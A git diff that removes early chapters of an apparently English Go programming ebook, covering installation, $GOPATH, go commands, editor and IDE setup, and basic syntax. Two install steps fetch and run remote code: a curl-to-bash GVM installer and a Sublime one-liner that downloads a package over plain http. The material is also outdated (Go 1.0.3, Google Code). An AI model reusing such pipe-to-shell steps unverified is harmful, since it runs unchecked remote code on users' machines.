should now see the same output displayed in figure 1.1. - -### Windows - -Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.windows-386.msi` for 32-bit systems and `go1.0.3.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. - -## Use third-party tools - -### GVM - -GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It's quite easy to use. Install gvm by typing the following commands in your terminal: - - bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) - -Then we install Go using the following commands: - - gvm install go1.0.3 - gvm use go1.0.3 - -After the process has finished, you're all set. - -### apt-get - -Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` to manage packages. We can install Go using the following commands. - - sudo add-apt-repository ppa:gophers/go - sudo apt-get update - sudo apt-get install golang-stable - -### Homebrew - -Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go. - - brew install go - -## Links - -- [Directory](preface.md) -- Previous section: [Go environment configuration](01.0.md) -- Next section: [$GOPATH and workspace](01.2.md) diff --git a/en/eBook/01.2.md b/en/eBook/01.2.md deleted file mode 100644 index b12a9029..00000000 --- a/en/eBook/01.2.md +++ /dev/null @@ -1,151 +0,0 @@ -#1.2 $GOPATH and workspace - -## $GOPATH - -Go commands all rely on one important environment variable called $GOPATH. Notice that this is not the $GOROOT variable where Go is installed. This variable points to the workspace of Go on your computer (I use this path on my computer; if you don't have the same directory structure, please replace by yourself). - -In Unix-like systems, the variable should be used like this: - - export GOPATH=/home/apple/mygo - -In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) - -It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. - -In $GOPATH, you must have three folders as follows. - -- `src` for source files whose suffix is .go, .c, .g, .s. -- `pkg` for compiled files whose suffix is .a. -- `bin` for executable files - -In this book, I use `mygo` as my only path in $GOPATH. - -## Package directory - -Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) ( ***Author uses `mymath` as his package name, and same name for the folder where contains package source files***) - -Every time you create a package, you should create a new folder in the `src` directory. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory `$GOPATH/src/github.com/astaxie/beedb`, then the package path would be `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case. - -Execute following commands. ( ***Now author goes back to talk examples*** ) - - cd $GOPATH/src - mkdir mymath - -Create a new file called `sqrt.go`, type following content to your file. - - // Source code of $GOPATH/src/mymath/sqrt.go - package mymath - - func Sqrt(x float64) float64 { - z := 0.0 - for i := 0; i < 1000; i++ { - z -= (z*z - x) / (2 * x) - } - return z - } - -Now my package directory has been created and its code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files. - -## Compile packages - -We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this. - -1. Switch your work path to the directory of your package, then execute the `go install` command. -2. Execute the above command except with a file name, like `go install mymath`. - -After compiling, we can open the following folder. - - cd $GOPATH/pkg/${GOOS}_${GOARCH} - // you can see the file was generated - mymath.a - -The file whose suffix is `.a` is the binary file of our package. How do we use it? - -Obviously, we need to create a new application to use it. - -Create a new application package called `mathapp`. - - cd $GOPATH/src - mkdir mathapp - cd mathapp - vim main.go - -code - - //$GOPATH/src/mathapp/main.go source code. - package main - - import ( - "mymath" - "fmt" - ) - - func main() { - fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) - } - -To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal. - - Hello world. Sqrt(2) = 1.414213562373095 - -## Install remote packages - -Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad. - - go get github.com/astaxie/beedb - -You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well. - -This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. - -After executing the above commands, the directory structure should look like following. - - $GOPATH - src - |-github.com - |-astaxie - |-beedb - pkg - |--${GOOS}_${GOARCH} - |-github.com - |-astaxie - |-beedb.a - -Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`. - -You can use remote packages in the same way that we use local packages. - - import "github.com/astaxie/beedb" - -## Directory complete structure - -If you've followed all of the above steps, your directory structure should now look like the following. - - bin/ - mathapp - pkg/ - ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 - mymath.a - github.com/ - astaxie/ - beedb.a - src/ - mathapp - main.go - mymath/ - sqrt.go - github.com/ - astaxie/ - beedb/ - beedb.go - util.go - -Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. - -(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.) - -## Links - -- [Directory](preface.md) -- Previous section: [Installation](01.1.md) -- Next section: [Go commands](01.3.md) diff --git a/en/eBook/01.3.md b/en/eBook/01.3.md deleted file mode 100644 index 0de241e5..00000000 --- a/en/eBook/01.3.md +++ /dev/null @@ -1,104 +0,0 @@ -#1.3 Go commands - -## Go commands - -The Go language comes with a complete set of command operation tools. You can execute the command line `go` to see them: - -![](images/1.3.go.png?raw=true) - -Figure 1.3 Go command displays detailed information - -These are all useful for us. Let's see how to use some of them. - -## go build - -This command is for compiling tests. It will compile dependence packages if it's necessary. - -- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you execute `go build`. If you need package file `.a` in `$GOPATH/pkg`, use `go install` instead. -- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.` -- If there are many files in the folder, but you just want to compile one of them, you should append the file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder. -- You can also assign the name of the file that will be generated. For instance, in the `mathapp` project (in section 1.2), using `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name (non-main package) or the first source file name (main package). - -(According to [The Go Programming Language Specification](https://golang.org/ref/spec), package names should be the name after the word `package` in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be your folder name by default.]) - -- `go build` ignores files whose names start with `_` or `.`. -- If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows: - - array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go - -`go build` chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others. - -## go clean - -This command is for cleaning files that are generated by compilers, including the following files: - - _obj/ // old directory of object, left by Makefiles - _test/ // old directory of test, left by Makefiles - _testmain.go // old directory of gotest, left by Makefiles - test.out // old directory of test, left by Makefiles - build.out // old directory of test, left by Makefiles - *.[568ao] // object files, left by Makefiles - - DIR(.exe) // generated by go build - DIR.test(.exe) // generated by go test -c - MAINFILE(.exe) // generated by go build MAINFILE.go - -I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control. - -## go fmt - -The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk about IDEs more in the next section. - -We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project. - -## go get - -This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. - - BitBucket (Mercurial Git) - Github (git) - Google Code (Git, Mercurial, Subversion) - Launchpad (Bazaar) - -In order to use this command, you have to install these tools correctly. Don't forget to set `$PATH`. By the way, it also supports customized domain names. Use `go help remote` for more details about this. - -## go install - -This command compiles all packages and generates files, then moves them to `$GOPATH/pkg` or `$GOPATH/bin`. - -## go test - -This command loads all files whose name include `*_test.go` and generates test files, then prints information that looks like the following. - - ok archive/tar 0.011s - FAIL archive/zip 0.022s - ok compress/gzip 0.033s - ... - -It tests all your test files by default. Use command `go help testflag` for more details. - -## go doc - -Many people say that we don't need any third-party documentation for programming in Go (actually I've made a [CHM](https://github.com/astaxie/godoc) already). Go has a powerful tool to manage documentation natively. - -So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `go doc builtin` command. Similarly, use the `go doc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code. - -Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. - -## Other commands - -Go provides more commands then those we've just talked about. - - go fix // upgrade code from an old version before go1 to a new version after go1 - go version // get information about your version of Go - go env // view environment variables about Go - go list // list all installed packages - go run // compile temporary files and run the application - -There are also more details about the commands that I've talked about. You can use `go help ` to look them up. - -## Links - -- [Directory](preface.md) -- Previous section: [$GOPATH and workspace](01.2.md) -- Next section: [Go development tools](01.4.md) diff --git a/en/eBook/01.4.md b/en/eBook/01.4.md deleted file mode 100644 index d56bef42..00000000 --- a/en/eBook/01.4.md +++ /dev/null @@ -1,399 +0,0 @@ -# Go development tools - -In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system. - -## LiteIDE - -LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc. - -![](images/1.4.liteide.png?raw=true) - -Figure 1.4 Main panel of LiteIDE - -LiteIDE features. - -- Cross-platform - - Windows - - Linux - - Mac OS -- Cross-compile - - Manage multiple compile environments - - Supports cross-compilation of Go -- Project management standard - - Documentation view based on $GOPATH - - Compilation system based on $GOPATH - - API documentation index based on $GOPATH -- Go source code editor - - Code outlining - - Full support of gocode - - Go documentation view and API index - - View code expression using `F1` - - Function declaration jump using `F2` - - Gdb support - - Auto-format with `gofmt` -- Others - - Multi-language - - Plugin system - - Text editor themes - - Syntax support based on Kate - - intelligent completion based on full-text - - Customized shortcuts - - Markdown support - - Real-time preview - - Customized CSS - - Export HTML and PDF - - Convert and merge to HTML and PDF - -### LiteIDE installation - -- Install LiteIDE - - [Download page](http://code.google.com/p/golangide) - - [Source code](https://github.com/visualfc/liteide) - - You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it. -- Install gocode - - You have to install gocode in order to use intelligent completion - - go get -u github.com/nsf/gocode - -- Compilation environment - - Switch configuration in LiteIDE to suit your operating system. - In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open file `win64.env` in the right list. - - GOROOT=c:\go - GOBIN= - GOARCH=amd64 - GOOS=windows - CGO_ENABLED=1 - - PATH=%GOBIN%;%GOROOT%\bin;%PATH% - 。。。 - - Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. - - In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list. - - GOROOT=$HOME/go - GOBIN= - GOARCH=amd64 - GOOS=linux - CGO_ENABLED=1 - - PATH=$GOBIN:$GOROOT/bin:$PATH - 。。。 - - Replace `GOROOT=$HOME/go` to your Go installation path, save it. -- $GOPATH - $GOPATH is the path that contains a list of projects. Open the command tool (or press `Ctrl+` in LiteIDE), then type `go help gopath` for more details. - It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values. - -## Sublime Text - -Here I'm going to introduce you the Sublime Text 2 (Sublime for short) + GoSublime + gocode + MarGo. Let me explain why. - -- Intelligent completion - - ![](images/1.4.sublime1.png?raw=true) - - Figure 1.5 Sublime intelligent completion -- Auto-format source files -- Project management - - ![](images/1.4.sublime2.png?raw=true) - - Figure 1.6 Sublime project management - -- Syntax highlight -- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a licnese, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development! - -First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system. - -1. Press `Ctrl+`, open the command tool and input the following commands. - - import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' - - Restart Sublime text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. - - ![](images/1.4.sublime3.png?raw=true) - - Figure 1.7 Sublime Package Control -2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). - - ![](images/1.4.sublime4.png?raw=true) - - Figure 1.8 Sublime Install Packages - - Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation. -3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled. - - If everything is fine, you're all set. - - If not, check your $PATH again. Open terminal, type `gocode`. If it does not run, your $PATH was not configured correctly. - -## Vim - -Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors. - -![](images/1.4.vim.png?raw=true) - -Figure 1.8 Vim intelligent completion for Go - -1. Syntax highlighting for Go - - cp -r $GOROOT/misc/vim/* ~/.vim/ - -2. Enabling syntax highlighting - - filetype plugin indent on - syntax on - -3. Install [gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode will be installed in `$GOBIN` as default - -4. Configure [gocode](https://github.com/nsf/gocode/) - - ~ cd $GOPATH/src/github.com/nsf/gocode/vim - ~ ./update.bash - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - - Explanation of gocode configuration: - - propose-builtins: specifies whether or not to open intelligent completion; false by default. - lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths. - -5. Congratulations! Try `:e main.go` to experience the world of Go! - -## Emacs - -Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE. - -![](images/1.4.emacs.png?raw=true) - -Figure 1.10 Emacs main panel of Go editor - -1. Syntax highlighting - - cp $GOROOT/misc/emacs/* ~/.emacs.d/ - -2. Install [gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode will be installed in `$GOBIN` as default -3. Configure [gocode](https://github.com/nsf/gocode/) - - ~ cd $GOPATH/src/github.com/nsf/gocode/vim - ~ ./update.bash - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - -4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) - Download and uncompress - - ~ make install DIR=$HOME/.emacs.d/auto-complete - - Configure ~/.emacs file - - ;;auto-complete - (require 'auto-complete-config) - (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") - (ac-config-default) - (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) - (local-set-key "." 'semantic-complete-self-insert) - (local-set-key ">" 'semantic-complete-self-insert) - - Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. -5. Configure .emacs - - ;; golang mode - (require 'go-mode-load) - (require 'go-autocomplete) - ;; speedbar - ;; (speedbar 1) - (speedbar-add-supported-extension ".go") - (add-hook - 'go-mode-hook - '(lambda () - ;; gocode - (auto-complete-mode 1) - (setq ac-sources '(ac-source-go)) - ;; Imenu & Speedbar - (setq imenu-generic-expression - '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) - ("func" "^func *\\(.*\\) {" 1))) - (imenu-add-to-menubar "Index") - ;; Outline mode - (make-local-variable 'outline-regexp) - (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") - (outline-minor-mode 1) - (local-set-key "\M-a" 'outline-previous-visible-heading) - (local-set-key "\M-e" 'outline-next-visible-heading) - ;; Menu bar - (require 'easymenu) - (defconst go-hooked-menu - '("Go tools" - ["Go run buffer" go t] - ["Go reformat buffer" go-fmt-buffer t] - ["Go check buffer" go-fix-buffer t])) - (easy-menu-define - go-added-menu - (current-local-map) - "Go tools" - go-hooked-menu) - - ;; Other - (setq show-trailing-whitespace t) - )) - ;; helper function - (defun go () - "run current buffer" - (interactive) - (compile (concat "go run " (buffer-file-name)))) - - ;; helper function - (defun go-fmt-buffer () - "run gofmt on current buffer" - (interactive) - (if buffer-read-only - (progn - (ding) - (message "Buffer is read only")) - (let ((p (line-number-at-pos)) - (filename (buffer-file-name)) - (old-max-mini-window-height max-mini-window-height)) - (show-all) - (if (get-buffer "*Go Reformat Errors*") - (progn - (delete-windows-on "*Go Reformat Errors*") - (kill-buffer "*Go Reformat Errors*"))) - (setq max-mini-window-height 1) - (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) - (progn - (erase-buffer) - (insert-buffer-substring "*Go Reformat Output*") - (goto-char (point-min)) - (forward-line (1- p))) - (with-current-buffer "*Go Reformat Errors*" - (progn - (goto-char (point-min)) - (while (re-search-forward "" nil t) - (replace-match filename)) - (goto-char (point-min)) - (compilation-mode)))) - (setq max-mini-window-height old-max-mini-window-height) - (delete-windows-on "*Go Reformat Output*") - (kill-buffer "*Go Reformat Output*")))) - ;; helper function - (defun go-fix-buffer () - "run gofix on current buffer" - (interactive) - (show-all) - (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) -6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`. - -## Eclipse - -Eclipse is also a great development tool. I'll show you how to use it to write Go programs. - -![](images/1.4.eclipse1.png?raw=true) - -Figure 1.1 Eclipse main panel for editing Go - -1. Download and install [Eclipse](http://www.eclipse.org/) -2. Download [goclipse](https://code.google.com/p/goclipse/) - [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) -3. Download gocode - - gocode in Github. - - https://github.com/nsf/gocode - - You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) - - Install gocode in the command tool - - go get -u github.com/nsf/gocode - - You can install from source code if you like. -4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) -5. Configure plugins. - - Windows->Preferences->Go - - (1).Configure Go compiler - - ![](images/1.4.eclipse2.png?raw=true) - - Figure 1.12 Go Setting in Eclipse - - (2).Configure gocode(optional), set gocode path to where the gocode.exe is. - - ![](images/1.4.eclipse3.png?raw=true) - - Figure 1.13 gocode Setting - - (3).Configure gdb(optional), set gdb path to where the gdb.exe is. - - ![](images/1.4.eclipse4.png?raw=true) - - Figure 1.14 gdb Setting -6. Check the installation - - Create a new Go project and hello.go file as following. - - ![](images/1.4.eclipse5.png?raw=true) - - Figure 1.15 Create new project and file - - Test installation as follows.(you need to type command in console in Eclipse) - - ![](images/1.4.eclipse6.png?raw=true) - - Figure 1.16 Test Go program in Eclipse - -## IntelliJ IDEA - -People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin. - -1. Download IDEA, there is no difference between the Ultimate and Community editions - - ![](images/1.4.idea1.png?raw=true) - -2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. - - ![](images/1.4.idea3.png?raw=true) - -3. Search `golang`, double click `download and install` and wait for the download to complete. - - ![](images/1.4.idea4.png?raw=true) - - Click `Apply`, then restart. -4. Now you can create a Go project. - - ![](images/1.4.idea5.png?raw=true) - - Input the position of your Go sdk in the next step -basically it's your $GOROOT. - -( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) - -## Links - -- [Directory](preface.md) -- Previous section: [Go commands](01.3.md) -- Next section: [Summary](01.5.md) diff --git a/en/eBook/01.5.md b/en/eBook/01.5.md deleted file mode 100644 index 6df9c420..00000000 --- a/en/eBook/01.5.md +++ /dev/null @@ -1,9 +0,0 @@ -# 1.5 Summary - -In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. - -## Links - -- [Directory](preface.md) -- Previous section: [Go development tools](01.4.md) -- Next chapter: [Go basic knowledge](02.0.md) diff --git a/en/eBook/02.0.md b/en/eBook/02.0.md deleted file mode 100644 index 4c5f468a..00000000 --- a/en/eBook/02.0.md +++ /dev/null @@ -1,17 +0,0 @@ -# 2 Go basic knowledge - -Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's take a look at these keywords before we get started. - - break default func interface select - case defer go map struct - chan else goto package switch - const fallthrough if range type - continue for import return var - -In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 1 Summary](01.5.md) -- Next section: ["Hello, Go"](02.1.md) diff --git a/en/eBook/02.1.md b/en/eBook/02.1.md deleted file mode 100644 index ad0168fc..00000000 --- a/en/eBook/02.1.md +++ /dev/null @@ -1,53 +0,0 @@ -# 2.1 Hello, Go - -Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section. - -## Program - -According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world". - -Are you ready? Let's Go! - - package main - - import "fmt" - - func main() { - fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") - } - -It prints following information. - - Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 - -## Explanation - -One thing that you should know in the first is that Go programs are composed by `package`. - -`package` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`. - -Every executable program has one and only one `main` package, and you need an entry function called `main` without any arguments or return values in the `main` package. - -In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"` - -The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later. - -On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java. - -As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values. - -On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `.`, which is very like Python-style. - -As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. - -You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. - -## Conclusion - -Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born. - -## Links - -- [Directory](preface.md) -- Previous section: [Go basic knowledge](02.0.md) -- Next section: [Go foundation](02.2.md) diff --git a/en/eBook/02.2.md b/en/eBook/02.2.md deleted file mode 100644 index e6ad8882..00000000 --- a/en/eBook/02.2.md +++ /dev/null @@ -1,454 +0,0 @@ -# 2.2 Go foundation - -In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming. - -## Define variables - -There are many forms of syntax that can be used to define variables in Go. - -The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. - - // define a variable with name “variableName” and type "type" - var variableName type - -Define multiple variables. - - // define three variables which types are "type" - var vname1, vname2, vname3 type - -Define a variable with initial value. - - // define a variable with name “variableName”, type "type" and value "value" - var variableName type = value - -Define multiple variables with initial values. - - /* - Define three variables with type "type", and initialize their values. - vname1 is v1, vname2 is v2, vname3 is v3 - */ - var vname1, vname2, vname3 type = v1, v2, v3 - -Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead: - - /* - Define three variables with type "type", and initialize their values. - vname1 is v1,vname2 is v2,vname3 is v3 - */ - var vname1, vname2, vname3 = v1, v2, v3 - -Well, I know this is still not simple enough for you. Let's see how we fix it. - - /* - Define three variables with type "type", and initialize their values. - vname1 is v1,vname2 is v2,vname3 is v3 - */ - vname1, vname2, vname3 := v1, v2, v3 - -Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables and we can use this brief statement in `var()`. - -`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) - - _, b := 34, 35 - -If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. - - package main - - func main() { - var i int - } - -## Constants - -So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. - -Define constants as follows. - - const constantName = value - // you can assign type of constants if it's necessary - const Pi float32 = 3.1415926 - -More examples. - - const Pi = 3.1415926 - const i = 10000 - const MaxThread = 10 - const prefix = "astaxie_" - -## Elementary types - -### Boolean - -In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) - - // sample code - var isActive bool // global variable - var enabled, disabled = true, false // omit type of variables - func test() { - var available bool // local variable - valid := false // brief statement of variable - available = true // assign value to variable - } - -### Numerical types - -Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. - -One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. - - var a int8 - - var b int32 - - c := a + b - -Although int has a longer length than uint8, and has the same length as int32, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) - -Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement. - -That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is imaginary number. There is a example of complex number. - - var c complex64 = 5+5i - //output: (5+5i) - fmt.Printf("Value is: %v", c) - -### String - -We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. - - // sample code - var frenchHello string // basic form to define string - var emptyString string = "" // define a string with empty string - func test() { - no, yes, maybe := "no", "yes", "maybe" // brief statement - japaneseHello := "Ohaiou" - frenchHello = "Bonjour" // basic form of assign values - } - -It's impossible to change string values by index. You will get errors when you compile following code. - - var s string = "hello" - s[0] = 'c' - -What if I really want to change just one character in a string? Try following code. - - s := "hello" - c := []byte(s) // convert string to []byte type - c[0] = 'c' - s2 := string(c) // convert back to string type - fmt.Printf("%s\n", s2) - -You use the `+` operator to combine two strings. - - s := "hello," - m := " world" - a := s + m - fmt.Printf("%s\n", a) - -and also. - - s := "hello" - s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. - fmt.Printf("%s\n", s) - -What if I want to have a multiple-line string? - - m := `hello - world` - -`` ` will not escape any characters in a string. - -### Error types - -Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. - - err := errors.New("emit macho dwarf: elf header corrupted") - if err != nil { - fmt.Print(err) - } - -### Underlying data structure - -The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. - -![](images/2.2.basic.png?raw=true) - -Figure 2.1 Go underlying data structure - -## Some skills - -### Define by 